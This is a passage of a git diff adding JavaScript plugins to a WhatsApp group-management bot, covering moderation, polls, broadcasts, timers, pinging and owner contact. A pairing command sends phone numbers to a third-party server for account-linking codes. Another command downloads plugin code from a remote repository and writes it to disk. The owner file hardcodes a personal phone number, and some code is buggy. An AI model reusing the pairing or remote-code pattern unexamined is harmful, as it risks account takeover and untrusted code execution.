reply }) => { + if (!q) { + return reply(`*Current Antibot Action:* ${antibotAction.toUpperCase()}\n\nUse *antibot off/warn/delete/kick* to change it.`); + } + + const action = q.toLowerCase(); + if (["off", "warn", "delete", "kick"].includes(action)) { + antibotAction = action; + return reply(`*Antibot action set to:* ${action.toUpperCase()}`); + } else { + return reply("*๐ŸซŸ แด‡xแด€แดแด˜สŸแด‡: . แด€ษดแด›ษช-ส™แดแด› แดา“า“/แดกแด€ส€ษด/แด…แด‡สŸแด‡แด›แด‡/แด‹ษชแด„แด‹*"); + } +}); +//--------------------------------------------------------------------------- +// โš ๏ธ DO NOT MODIFY THIS FILE โš ๏ธ +//--------------------------------------------------------------------------- +cmd({ + on: "body" +}, async (conn, mek, m, { from, isGroup, sender, isBotAdmins, isAdmins, reply }) => { + if (!isGroup || antibotAction === "off") return; // Check if antibot is enabled + + const messageId = mek.key.id; + if (!messageId || !messageId.startsWith("3EB")) return; // Detect bot-generated messages + + if (!isBotAdmins) return reply("*_I'm not an admin, so I can't take action!_*"); + if (isAdmins) return; // Ignore admins + + await conn.sendMessage(from, { delete: mek.key }); // Delete the detected bot message + + switch (antibotAction) { + case "kick": + await conn.groupParticipantsUpdate(from, [sender], "remove"); + break; + + case "warn": + warnings[sender] = (warnings[sender] || 0) + 1; + if (warnings[sender] >= 3) { + delete warnings[sender]; // Reset warning count after kicking + await conn.groupParticipantsUpdate(from, [sender], "remove"); + } else { + return reply(`โš ๏ธ @${sender.split("@")[0]}, warning ${warnings[sender]}/3! Bots are not allowed!`, { mentions: [sender] }); + } + break; + } +}); + +//-------------------------------------------- +// ACCEPT_ALL COMMANDS +//-------------------------------------------- +cmd({ + pattern: "acceptall", + alias: ["approve"], + category: "group", + desc: "Accept all participant requests in the group.", + filename: __filename, +}, async (conn, mek, m, { from, isGroup, body, sender, groupMetadata, participants, config, reply }) => { + try { + if (!isGroup) { + return reply("This command can only be used in groups."); + } + + const jid = from; // Group ID (from the message) + const groupParticipants = groupMetadata.participants; // List of participants in the group + + const pendingRequests = groupParticipants.filter(p => p.isPending); // Filter pending participants + + if (pendingRequests.length === 0) { + return reply("No pending participants to accept."); + } + + const userJids = pendingRequests.map(p => p.id); // Get JIDs of the pending participants + + const response = await conn.groupRequestParticipantsUpdate(jid, userJids, 'approve'); + console.log(response); + reply(`${userJids.length} participant(s) have been accepted.`); + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); +//-------------------------------------------- +// REJECT_ALL COMMANDS +//-------------------------------------------- +cmd({ + pattern: "rejectall", + alias: ["rejects"], + category: "group", + desc: "Reject all participant requests in the group.", + filename: __filename, +}, async (conn, mek, m, { from, isGroup, body, sender, groupMetadata, participants, config, reply }) => { + try { + if (!isGroup) { + return reply("This command can only be used in groups."); + } + + const jid = from; // Group ID (from the message) + const groupParticipants = groupMetadata.participants; // List of participants in the group + + const pendingRequests = groupParticipants.filter(p => p.isPending); // Filter pending participants + + if (pendingRequests.length === 0) { + return reply("No pending participants to reject."); + } + + const userJids = pendingRequests.map(p => p.id); // Get JIDs of the pending participants + + const response = await conn.groupRequestParticipantsUpdate(jid, userJids, 'reject'); + console.log(response); + reply(`${userJids.length} participant(s) have been rejected.`); + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); +//-------------------------------------------- +// ANTILINK COMMANDS +//-------------------------------------------- +cmd({ + pattern: "anti-link", + alias: ["antilink"], + desc: "Enable or disable anti-link feature in groups", + category: "group", + react: "๐Ÿšซ", + filename: __filename +}, async (conn, mek, m, { from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isCreator, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + // Check for group, bot admin, and user admin permissions + if (!isGroup) return reply('This command can only be used in a group.'); + if (!isBotAdmins) return reply('*๐Ÿ“› ฮน ษดั”ั”โˆ‚ ั‚ฯƒ ะฒั” ฮฑษด ฮฑโˆ‚ะผฮนษด ั‚ฯƒ แดœั•ั” ั‚ะฝฮนั• แด„ฯƒะผะผฮฑษดโˆ‚.*'); + if (!isAdmins) return reply('*๐Ÿ“› ฯƒษดโ„“ส gส€ฯƒแดœแด˜ ฮฑโˆ‚ะผฮนษดs ฯƒส€ ั‚ะฝั” ฯƒฯ‰ษดั”ส€ แด„ฮฑษด แดœsั” ั‚ะฝฮนั• แด„ฯƒะผะผฮฑษดโˆ‚.*'); + + // Enable or disable anti-link feature + if (args[0] === "on") { + config.ANTI_LINK = "true"; + await reply("Anti-link feature is now enabled in this group."); + } else if (args[0] === "off") { + config.ANTI_LINK = "false"; + await reply("Anti-link feature is now disabled in this group."); + } else { + await reply(`*Invalid input! Use either 'on' or 'off'. Example:antilink on*`); + } + } catch (error) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${error.message}`); + } +}); +//-------------------------------------------- +// POLL COMMANDS +//-------------------------------------------- +cmd({ + pattern: "poll", + category: "group", + desc: "Create a poll with a question and options in the group.", + filename: __filename, +}, async (conn, mek, m, { from, isGroup, body, sender, groupMetadata, participants, prefix, pushname, reply }) => { + try { + let [question, optionsString] = body.split(";"); + + if (!question || !optionsString) { + return reply(`Usage: ${prefix}poll question;option1,option2,option3...`); + } + + let options = []; + for (let option of optionsString.split(",")) { + if (option && option.trim() !== "") { + options.push(option.trim()); + } + } + + if (options.length < 2) { + return reply("*Please provide at least two options for the poll.*"); + } + + await conn.sendMessage(from, { + poll: { + name: question, + values: options, + selectableCount: 1, + toAnnouncementGroup: true, + } + }, { quoted: mek }); + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); +//-------------------------------------------- +// RANDOM SHIP COMMANDS +//-------------------------------------------- +cmd({ + pattern: "randomship", + desc: "Randomly ship two members in a group.", + category: "group", + react: "๐Ÿ’ž", + filename: __filename +}, async (conn, mek, m, { from, isGroup, participants, reply }) => { + try { + if (!isGroup) return reply("โŒ This command can only be used in groups!"); + + const members = participants.filter(p => !p.admin); // Exclude admins if needed + if (members.length < 2) return reply("โŒ Not enough members to ship!"); + + const shuffled = members.sort(() => Math.random() - 0.5); + const user1 = shuffled[0].id; + const user2 = shuffled[1].id; + + reply(`๐Ÿ’– I randomly ship @${user1.split("@")[0]} & @${user2.split("@")[0]}! Cute couple! ๐Ÿ’ž`, { + mentions: [user1, user2] + }); + + } catch (e) { + console.error(e); + reply("โŒ Error processing command."); + } +}); +//-------------------------------------------- +// NEW_GC COMMANDS +//-------------------------------------------- +cmd({ + pattern: "newgc", + category: "group", + desc: "Create a new group and add participants.", + filename: __filename, +}, async (conn, mek, m, { from, isGroup, body, sender, groupMetadata, participants, reply }) => { + try { + if (!body) { + return reply(`Usage: !newgc group_name;number1,number2,...`); + } + + const [groupName, numbersString] = body.split(";"); + + if (!groupName || !numbersString) { + return reply(`Usage: !newgc group_name;number1,number2,...`); + } + + const participantNumbers = numbersString.split(",").map(number => `${number.trim()}@s.whatsapp.net`); + + const group = await conn.groupCreate(groupName, participantNumbers); + console.log('created group with id: ' + group.id); // Use group.id here + + const inviteLink = await conn.groupInviteCode(group.id); // Use group.id to get the invite link + + await conn.sendMessage(group.id, { text: 'hello there' }); + + reply(`Group created successfully with invite link: https://chat.whatsapp.com/${inviteLink}\nWelcome message sent.`); + } catch (e) { + return reply(`*An error occurred while processing your request.*\n\n_Error:_ ${e.message}`); + } +}); +//-------------------------------------------- +// EXIT COMMANDS +//-------------------------------------------- +cmd({ + pattern: "exit", + desc: "Leaves the current group", + category: "group", +}, async (conn, mek, m, { from, reply }) => { + try { + // `from` is the group chat ID + await conn.groupLeave(from); + reply("Successfully left the group๐Ÿ™‚."); + } catch (error) { + console.error(error); + reply("Failed to leave the group.๐Ÿคฆ๐Ÿฝโ€โ™‚๏ธ"); + } +}); +//-------------------------------------------- +// ALI-MD +//-------------------------------------------- +cmd({ + pattern: "invite", + alias: ["glink"], + desc: "Get group invite link.", + category: "group", // Already group + filename: __filename, +}, async (conn, mek, m, { from, quoted, body, args, q, isGroup, sender, reply }) => { + try { + // Ensure this is being used in a group + if (!isGroup) return reply("๐“๐ก๐ข๐ฌ ๐…๐ž๐š๐ญ๐ฎ๐ซ๐ž ๐ˆ๐ฌ ๐Ž๐ง๐ฅ๐ฒ ๐…๐จ๐ซ ๐†๐ซ๐จ๐ฎ๐ฉโ—"); + + // Get the sender's number + const senderNumber = sender.split('@')[0]; + const botNumber = conn.user.id.split(':')[0]; + + // Check if the bot is an admin + const groupMetadata = isGroup ? await conn.groupMetadata(from) : ''; + const groupAdmins = groupMetadata ? groupMetadata.participants.filter(member => member.admin) : []; + const isBotAdmins = isGroup ? groupAdmins.some(admin => admin.id === botNumber + '@s.whatsapp.net') : false; + + if (!isBotAdmins) return reply("๐๐ฅ๐ž๐š๐ฌ๐ž ๐๐ซ๐จ๐ฏ๐ข๐๐ž ๐Œ๐ž ๐€๐๐ฆ๐ข๐ง ๐‘๐จ๐ฅ๐ž โ—"); + + // Check if the sender is an admin + const isAdmins = isGroup ? groupAdmins.some(admin => admin.id === sender) : false; + if (!isAdmins) return reply("๐๐ฅ๐ž๐š๐ฌ๐ž ๐๐ซ๐จ๐ฏ๐ข๐๐ž ๐Œ๐ž ๐€๐๐ฆ๐ข๐ง ๐‘๐จ๐ฅ๐ž โ—"); + + // Get the invite code and generate the link + const inviteCode = await conn.groupInviteCode(from); + if (!inviteCode) return reply("Failed to retrieve the invite code."); + + const inviteLink = `https://chat.whatsapp.com/${inviteCode}`; + + // Reply with the invite link + return reply(`*Here is your group invite link:*\n${inviteLink}`); + + } catch (error) { + console.error("Error in invite command:", error); + reply(`An error occurred: ${error.message || "Unknown error"}`); + } +}); +//-------------------------------------------- +// BROADCAST COMMANDS +//-------------------------------------------- +cmd({ + pattern: "broadcast", + category: "group", + desc: "Bot makes a broadcast in all groups", + filename: __filename, + use: "" +}, async (conn, mek, m, { q, isGroup, isAdmins, reply }) => { + try { + if (!isGroup) return reply("โŒ This command can only be used in groups!"); + if (!isAdmins) return reply("โŒ You need to be an admin to broadcast in this group!"); + + if (!q) return reply("โŒ Provide text to broadcast in all groups!"); + + let allGroups = await conn.groupFetchAllParticipating(); + let groupIds = Object.keys(allGroups); // Extract group IDs + + reply(`๐Ÿ“ข Sending Broadcast To ${groupIds.length} Groups...\nโณ Estimated Time: ${groupIds.length * 1.5} seconds`); + + for (let groupId of groupIds) { + try { + await sleep(1500); // Avoid rate limits + await conn.sendMessage(groupId, { text: q }); // Sends only the provided text + } catch (err) { + console.log(`โŒ Failed to send broadcast to ${groupId}:`, err); + } + } + + return reply(`โœ… Successfully sent broadcast to ${groupIds.length} groups!`); + + } catch (err) { + await m.error(`โŒ Error: ${err}\n\nCommand: broadcast`, err); + } +}); + +cmd({ + pattern: "setgpp", + desc: "Set full-screen profile picture for groups.", + category: "group", + filename: __filename +}, async (conn, mek, m, { quoted, isGroup, isAdmins, isBotAdmins, reply }) => { + if (!isGroup) return reply("โš ๏ธ This command can only be used in a group."); + if (!isAdmins) return reply("โŒ You must be an admin to use this command."); + if (!isBotAdmins) return reply("โŒ I need to be an admin to change the group profile picture."); + if (!quoted || !quoted.image) return reply("โš ๏ธ Reply to an image to set as the group profile picture."); + + try { + let media = await quoted.download(); + await conn.updateProfilePicture(m.chat, media); + reply("โœ… Group profile picture updated successfully."); + } catch (e) { + console.error(e); + reply(`โŒ Failed to update group profile picture: ${e.message}`); + } +}); + diff --git a/plugins/movie.js b/plugins/movie.js new file mode 100644 index 0000000000000000000000000000000000000000..82bcb927a6a3907965b07141b95492a0b7a45990 --- /dev/null +++ b/plugins/movie.js @@ -0,0 +1,59 @@ + + +const axios = require('axios'); +const { cmd } = require('../command'); +const config = require('../config'); // Ensure your API key is in config + +// Command to fetch movie details +cmd({ + pattern: "movieinfo", + desc: "Fetch detailed information about a movie.", + category: "utility", + react: "๐ŸŽž๏ธ", + filename: __filename +}, async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + const movieName = args.join(' '); + if (!movieName) { + return reply("๐Ÿ“ฝ๏ธ Please provide the name of the movie."); + } + + const apiUrl = `http://www.omdbapi.com/?t=${encodeURIComponent(movieName)}&apikey=${config.OMDB_API_KEY}`; + const response = await axios.get(apiUrl); + const data = response.data; + + if (data.Response === "False") { + return reply("! Movie not found."); + } + + const movieInfo = ` +*๐ŸŽฌALI-MD-V1 MOVIE SERCH๐ŸŽฌ* + +*แด›ษชแด›สŸแด‡:* ${data.Title} +*สแด‡แด€ส€:* ${data.Year} +*ส€แด€แด›แด‡แด…:* ${data.Rated} +*ส€แด‡สŸแด‡แด€๊œฑแด‡แด…:* ${data.Released} +*ส€แดœษดแด›ษชแดแด‡:* ${data.Runtime} +*ษขแด‡ษดส€แด‡:* ${data.Genre} +*แด…ษชส€แด‡แด„แด›แดส€:* ${data.Director} +*แดกส€ษชแด›แด‡ส€:* ${data.Writer} +*แด€แด„แด›แดส€๊œฑ:* ${data.Actors} +*สŸแด€ษดษขแดœแด€ษขแด‡:* ${data.Language} +*แด„แดแดœษดแด›ส€ส:* ${data.Country} +*แด€แดกแด€ส€แด…๊œฑ:* ${data.Awards} +*ษชแดแด…ส™ ส€แด€แด›ษชษดษข:* ${data.imdbRating} + +> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช-แดแด…๐Ÿ‘‘* +`; + + const imageUrl = data.Poster && data.Poster !== 'N/A' ? data.Poster : config.ALIVE_IMG; + + await conn.sendMessage(from, { + image: { url: imageUrl }, + caption: `${movieInfo}\n> CREATED BY ALI TECH` + }, { quoted: mek }); + } catch (e) { + console.error(e); + reply(`โŒ Error: ${e.message}`); + } +}); diff --git a/plugins/opentime-closetime.js b/plugins/opentime-closetime.js new file mode 100644 index 0000000000000000000000000000000000000000..ea86e3b18e812ac5d0ee8b8000ca0e5d83805023 --- /dev/null +++ b/plugins/opentime-closetime.js @@ -0,0 +1,80 @@ + + +const config = require('../config') +const { cmd, commands } = require('../command') + +cmd({ + pattern: "opentime", + react: "๐Ÿ”–", + desc: "To open group to a time", + category: "group", + use: '.opentime', + filename: __filename +}, +async(conn, mek, m,{from, prefix, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) => { +try{ +if (!isGroup) return reply(ONLGROUP) +if (!isAdmins) return reply(ADMIN) + if (args[1] == 'second') { + var timer = args[0] * `1000` + } else if (args[1] == 'minute') { + var timer = args[0] * `60000` + } else if (args[1] == 'hour') { + var timer = args[0] * `3600000` + } else if (args[1] == 'day') { + var timer = args[0] * `86400000` + } else { + return reply('*select:*\nsecond\nminute\nhour\n\n*example*\n10 second') + } + reply(`Open time ${q} starting from now`) + setTimeout(() => { + var nomor = mek.participant + const open = `*OPEN TIME* THE GROUP WAS OPENED BY ALI-MD TO APPROVED ADMIN\n NOW MEMBERS CAN SEND MESSAGES ๐Ÿ”“` + conn.groupSettingUpdate(from, 'not_announcement') + reply(open) + }, timer) +await conn.sendMessage(from, { react: { text: `โœ…`, key: mek.key }}) +} catch (e) { +reply('*Error !!*') +l(e) +} +}) + +cmd({ + pattern: "closetime", + react: "๐Ÿ”–", + desc: "To close group to a time", + category: "group", + use: '.closstime', + filename: __filename +}, +async(conn, mek, m,{from, prefix, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) => { +try{ +if (!isGroup) return reply(ONLGROUP) +if (!isAdmins) return reply(ADMIN) + if (args[1] == 'second') { + var timer = args[0] * `1000` + } else if (args[1] == 'minute') { + var timer = args[0] * `60000` + } else if (args[1] == 'hour') { + var timer = args[0] * `3600000` + } else if (args[1] == 'day') { + var timer = args[0] * `86400000` + } else { + return reply('*select:*\nsecond\nminute\nhour\n\n*Example*\n10 second') + } + reply(`Close time ${q} starting from now`) + setTimeout(() => { + var nomor = m.participant + const close = `*CLOSE TIME* GROUP CLOSED BY ALI-MD AT APPROVED ADMIN\nNOW ONLY ADMIN CAN SEND MESSAGES ๐Ÿ”` + conn.groupSettingUpdate(from, 'announcement') + reply(close) + }, timer) +await conn.sendMessage(from, { react: { text: `โœ…`, key: mek.key }}) +} catch (e) { +reply('*Error !!*') +l(e) +} +}) + + diff --git a/plugins/owner.js b/plugins/owner.js new file mode 100644 index 0000000000000000000000000000000000000000..3ac4088e393981ee7b741c1d8a79524cddb81382 --- /dev/null +++ b/plugins/owner.js @@ -0,0 +1,49 @@ + + +const { cmd } = require('../command'); + +cmd({ + pattern: "owner", + react: "๐Ÿ‘‘", // Reaction emoji when the command is triggered + alias: ["king"], + desc: "Get owner number", + category: "main", + filename: __filename +}, +async (conn, mek, m, { from }) => { + try { + // Owner's contact info + const ownerNumber = '+923003588997'; // Replace this with the actual owner number + const ownerName = '๐“†ฉแ€ฏแชณ๐€๐‹๐ˆ ๐ˆ๐๐…ฆ๐’iอกอœ๐ƒ๐„แ€พแชณ๐“†ช'; // Replace this with the owner's name + const organization = 'UD TEAM'; // Optional: replace with the owner's organization + + // Create a vCard (contact card) for the owner + const vcard = 'BEGIN:VCARD\n' + + 'VERSION:3.0\n' + + `FN:${ownerName}\n` + // Full Name + `ORG:${organization};\n` + // Organization (Optional) + `TEL;type=CELL;type=VOICE;waid=${ownerNumber.replace('+', '')}:${ownerNumber}\n` + // WhatsApp ID and number + 'END:VCARD'; + + // Send the vCard first + const sentVCard = await conn.sendMessage(from, { + contacts: { + displayName: ownerName, + contacts: [{ vcard }] + } + }); + + // Send a reply message that references the vCard + await conn.sendMessage(from, { + text: `This is the owner's contact: ${ownerName}`, + contextInfo: { + mentionedJid: [ownerNumber.replace('+923003588997') + '+923003588997@s.whatsapp.net'], // Mention the owner + quotedMessageId: sentVCard.key.id // Reference the vCard message + } + }, { quoted: mek }); + + } catch (error) { + console.error(error); + await conn.sendMessage(from, { text: 'Sorry, there was an error fetching the owner contact.' }, { quoted: mekย }); +ย ย ย ย } +}); diff --git a/plugins/owner1.js b/plugins/owner1.js new file mode 100644 index 0000000000000000000000000000000000000000..6d9818446465e819f7dc4217cd00af1977d313c1 --- /dev/null +++ b/plugins/owner1.js @@ -0,0 +1,76 @@ + + +const { cmd ,commands } = require('../command'); +const { exec } = require('child_process'); +const config = require('../config'); +const {sleep} = require('../lib/functions') +// 1. Shutdown Bot +cmd({ + pattern: "shutdown", + desc: "Shutdown the bot.", + category: "owner", + react: "๐Ÿ›‘", + filename: __filename +}, +async (conn, mek, m, { from, isOwner, reply }) => { + if (!isOwner) return reply("โŒ You are not the owner!"); + reply("๐Ÿ›‘ Shutting down...").then(() => process.exit()); +}); +// 2. Broadcast Message to All Groups +cmd({ + pattern: "broadcast", + desc: "Broadcast a message to all groups.", + category: "owner", + react: "๐Ÿ“ข", + filename: __filename +}, +async (conn, mek, m, { from, isOwner, args, reply }) => { + if (!isOwner) return reply("โŒ You are not the owner!"); + if (args.length === 0) return reply("๐Ÿ“ข Please provide a message to broadcast."); + const message = args.join(' '); + const groups = Object.keys(await conn.groupFetchAllParticipating()); + for (const groupId of groups) { + await conn.sendMessage(groupId, { text: message }, { quoted: mek }); + } + reply("๐Ÿ“ข Message broadcasted to all groups."); +}); +// 3. Set Profile Picture +cmd({ + pattern: "setpp", + desc: "Set bot profile picture.", + category: "owner", + react: "๐Ÿ–ผ๏ธ", + filename: __filename +}, +async (conn, mek, m, { from, isOwner, quoted, reply }) => { + if (!isOwner) return reply("โŒ You are not the owner!"); + if (!quoted || !quoted.message.imageMessage) return reply("โŒ Please reply to an image."); + try { + const media = await conn.downloadMediaMessage(quoted); + await conn.updateProfilePicture(conn.user.jid, { url: media }); + reply("๐Ÿ–ผ๏ธ Profile picture updated successfully!"); + } catch (error) { + reply(`โŒ Error updating profile picture: ${error.message}`); + } +}); + +// 6. Clear All Chats +cmd({ + pattern: "clear", + desc: "Clear all chats from the bot.", + category: "owner", + react: "๐Ÿงน", + filename: __filename +}, +async (conn, mek, m, { from, isOwner, reply }) => { + if (!isOwner) return reply("โŒ You are not the owner!"); + try { + const chats = conn.chats.all(); + for (const chat of chats) { + await conn.modifyChat(chat.jid, 'delete'); + } + reply("๐Ÿงน All chats cleared successfully!"); + } catch (error) { + reply(`โŒ Error clearing chats: ${error.message}`); + } +}); diff --git a/plugins/pair.js b/plugins/pair.js new file mode 100644 index 0000000000000000000000000000000000000000..39050bc0a7278dc3253556da8e552446a7ce4858 --- /dev/null +++ b/plugins/pair.js @@ -0,0 +1,53 @@ +//const fetch = require("node-fetch"); +const { getBuffer, getGroupAdmins, getRandom, h2k, isUrl, Json, sleep, fetchJson} = require('../lib/functions') +const { cmd } = require("../command"); + +// get pair 2 + +cmd({ + pattern: "pair", + alias: ["getpair", "clonebot"], + react: "โœ…", + desc: "Pairing code", + category: "download", + use: ".pair +9230035XXX", + filename: __filename +}, +async (conn, mek, m, { from, prefix, quoted, q, reply }) => { + try { + // Helper function for delay + const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); + + // Validate input + if (!q) { + return await reply("*Example : .Pair 92300358800*"); + } + + // Fetch pairing code + //const fetch = require("node-fetch"); + const response = await fetch(`https://ali-md.onrender.com/code?number=${q}`); + const pair = await response.json(); + + // Check for errors in response + if (!pair || !pair.code) { + return await reply("Failed to retrieve pairing code. Please check the phone number and try again."); + } + + // Success response + const pairingCode = pair.code; + const doneMessage = "> *ALI-MD PAIR COMPLETED*"; + + // Send first message + await reply(`${doneMessage}\n\n> *PAIRING CODE IS: ${pairingCode}*`); + + // Add a delay of 2 seconds before sending the second message + await sleep(2000); + + // Send second message with just the pairing code + await reply(`${pairingCode}`); + } catch (error) { + console.error(error); + await reply("An error occurred. Please try again later."); + } +}); + diff --git a/plugins/ping.js b/plugins/ping.js new file mode 100644 index 0000000000000000000000000000000000000000..66474dfc0a44c364630824f113b606d7257017d3 --- /dev/null +++ b/plugins/ping.js @@ -0,0 +1,141 @@ +/* +const config = require('../config'); +const { cmd, commands } = require('../command'); + +cmd({ + pattern: "ping", + alias: "speed", + desc: "Check bot's response time.", + category: "main", + react: "๐Ÿ”„", + filename: __filename +}, +async (conn, mek, m, { from, quoted, reply }) => { + try { + const startTime = Date.now(); + + // Add a short delay + await new Promise(resolve => setTimeout(resolve, 100)); // 100ms delay + + const endTime = Date.now(); + const ping = endTime - startTime; + + // Send the ping result + await conn.sendMessage(from, { + text: `*๐Ÿ“ ๐เนแึŸฦžฬฝg : ${ping} ๐Œส‚*`, + contextInfo: { + mentionedJid: [m.sender], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363318387454868@newsletter', + newsletterName: '๐€ษญฮนฬ‡ฮนฬ‡ ๐ŒฦŠ ๐เนแึŸฦžฬฝg โƒช๐Ÿค–แชณแชณอŽ๐†ผ', + serverMessageId: 143 + } + } + }, { quoted: mek }); + } catch (e) { + console.error(e); + reply(`An error occurred: ${e.message}`); + } +}); + +// ping2 + +cmd({ + pattern: "ping2", + desc: "Check bot's response time.", + category: "main", + react: "๐Ÿ‚", + filename: __filename +}, +async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + const startTime = Date.now() + const message = await conn.sendMessage(from, { text: '> แดแด‡สŸแด›ษชษดษข...*' }) + const endTime = Date.now() + const ping = endTime - startTime + await conn.sendMessage(from, { text: `> *ษชแด„แด‡ แดแด‡สŸแด›แด‡แด… ษชษด ๐Ÿ”ฅ : ${ping}ms*` }, { quoted: message }) + } catch (e) { + console.log(e) + reply(`${e}`) + } +}) +*/ +const config = require('../config'); +const { cmd, commands } = require('../command'); + +cmd({ + pattern: "ping", + alias: ["speed","pong"],use: '.ping', + desc: "Check bot's response time.", + category: "main", + react: "๐Ÿ“Ÿ", + filename: __filename +}, +async (conn, mek, m, { from, quoted, sender, reply }) => { + try { + const start = new Date().getTime(); + + const reactionEmojis = ['๐Ÿ”ฅ', '๐Ÿ”ฎ', '๐ŸŒฉ๏ธ', '๐Ÿ‘ป', '๐Ÿ', '๐Ÿ', '๐ŸŽ‹', '๐ŸŽ', '๐Ÿชธ', '๐Ÿ“', '๐Ÿ‘‘', '๐ŸŒ€', '๐Ÿช„']; + const textEmojis = ['๐Ÿช€', '๐Ÿช‚', 'โšก๏ธ', '๐Ÿš€', '๐ŸŽ๏ธ', '๐Ÿš', '๐ŸŒ€', '๐Ÿ“Ÿ', '๐ŸŽฒ', 'โœจ']; + + const reactionEmoji = reactionEmojis[Math.floor(Math.random() * reactionEmojis.length)]; + let textEmoji = textEmojis[Math.floor(Math.random() * textEmojis.length)]; + + // Ensure reaction and text emojis are different + while (textEmoji === reactionEmoji) { + textEmoji = textEmojis[Math.floor(Math.random() * textEmojis.length)]; + } + + // Send reaction using conn.sendMessage() + await conn.sendMessage(from, { + react: { text: textEmoji, key: mek.key } + }); + + const end = new Date().getTime(); + const responseTime = (end - start) / 1000; + + const text = `*${reactionEmoji} ๐เนแึŸฦžฬฝg ${responseTime.toFixed(2)} ๐Œส‚*`; + + await conn.sendMessage(from, { + text, + contextInfo: { + mentionedJid: [sender], + forwardingScore: 999, + isForwarded: false, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363318387454868@newsletter', + newsletterName: "๐€ษญฮนฬ‡ฮนฬ‡ ๐ŒฦŠ ๐เนแึŸฦžฬฝg โƒช๐Ÿค–แชณแชณอŽ๐†ผ", + serverMessageId: 143 + } + } + }, { quoted: mek }); + + } catch (e) { + console.error("Error in ping command:", e); + reply(`An error occurred: ${e.message}`); + } +}); + +// ping2 + +cmd({ + pattern: "ping2", + desc: "Check bot's response time.", + category: "main", + react: "๐Ÿง ", + filename: __filename +}, +async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + const startTime = Date.now() + const message = await conn.sendMessage(from, { text: '\`ALI PINGING ๐Ÿš€\`' }) + const endTime = Date.now() + const ping = endTime - startTime + await conn.sendMessage(from, { text: `*ALI PONGED ! : ${ping}ms โšก*` }, { quoted: message }) + } catch (e) { + console.log(e) + reply(`${e}`) + } +}) diff --git a/plugins/plugins.js b/plugins/plugins.js new file mode 100644 index 0000000000000000000000000000000000000000..f7bf05b717de5650b02979835b3acfac6c104ebb --- /dev/null +++ b/plugins/plugins.js @@ -0,0 +1,136 @@ +const { cmd } = require('../command'); // Assuming you have a command handler +const axios = require('axios'); // For making HTTP requests to GitHub API +const fs = require('fs'); // For saving downloaded files + +// GitHub repository details +const REPO_OWNER = 'itx-ali-raza'; +const REPO_NAME = 'ALI-MD'; +const PLUGINS_FOLDER = 'plugins'; // Folder where plugins are stored + +// GitHub API base URL +const GITHUB_API_URL = `https://api.github.com/repos/${REPO_OWNER}/${REPO_NAME}/contents/${PLUGINS_FOLDER}`; + +// Store the list of plugins temporarily +let pluginListCache = []; + +// Command to list all plugins +cmd({ + pattern: "listplugins", // Command trigger + alias: ["pluginslist", "listplugs", "listplugin"], // Aliases + use: '.listplugins', // Example usage + react: "๐Ÿ“‚", // Emoji reaction + desc: "List all available plugins in the bot's repository.", // Description + category: "utility", // Command category + filename: __filename // Current file name +}, + +async (conn, mek, m, { from, reply }) => { + try { + // Fetch the folder structure from GitHub + const response = await axios.get(GITHUB_API_URL); + const plugins = response.data.filter(item => item.type === 'file'); // Only list files + + if (plugins.length === 0) { + return reply("*No plugins found in the repository.*"); + } + + // Cache the plugin list for reply functionality + pluginListCache = plugins; + + // Construct a list of plugins + let pluginList = "๐Ÿ“‚ *ALI MD PLUGINS:*\n\n"; + plugins.forEach((plugin, index) => { + pluginList += `${index + 1}. ${plugin.name}\n> `; // Add plugin name to the list + }); + + // Add instructions for downloading + pluginList += "\n*Reply with the file number or file name to download.*"; + + // Send the list to the user + await reply(pluginList); + } catch (error) { + console.error("Error:", error); // Log the error + reply("*Error: Unable to fetch plugins from the repository. Please try again later.*"); + } +}); + +// Command to download a specific plugin +cmd({ + pattern: "plugin", // Command trigger + alias: ["downloadplugin", "getplugin"], // Aliases + use: '.plugin ', // Example usage + react: "โฌ‡๏ธ", // Emoji reaction + desc: "Download a specific plugin from the bot's repository.", // Description + category: "utility", // Command category + filename: __filename // Current file name +}, + +async (conn, mek, m, { from, reply, args, senderNumber }) => { + try { + let pluginName = args[0]; // Get the plugin name or number from the argument + + // If the user is replying to a message, check if it's a number + if (m.quoted && m.quoted.key.fromMe) { + const quotedText = m.quoted.text; + if (/๐Ÿ“‚ \*ALI MD PLUGINS:\*/i.test(quotedText)) { + // Extract the number from the reply + const fileNumber = parseInt(pluginName); + if (!isNaN(fileNumber) && fileNumber > 0 && fileNumber <= pluginListCache.length) { + pluginName = pluginListCache[fileNumber - 1].name; + } + } + } + + // Check if the user provided a plugin name + if (!pluginName) { + return reply("*Please provide a plugin name or number to download.*\nExample: `.plugin ytdl.js` or reply with `.plugin 1`"); + } + + // Fetch the plugin file from GitHub + const response = await axios.get(`${GITHUB_API_URL}/${pluginName}`); + const pluginUrl = response.data.download_url; // Get the download URL + + // Download the plugin file + const pluginResponse = await axios.get(pluginUrl, { responseType: 'arraybuffer' }); + const pluginPath = 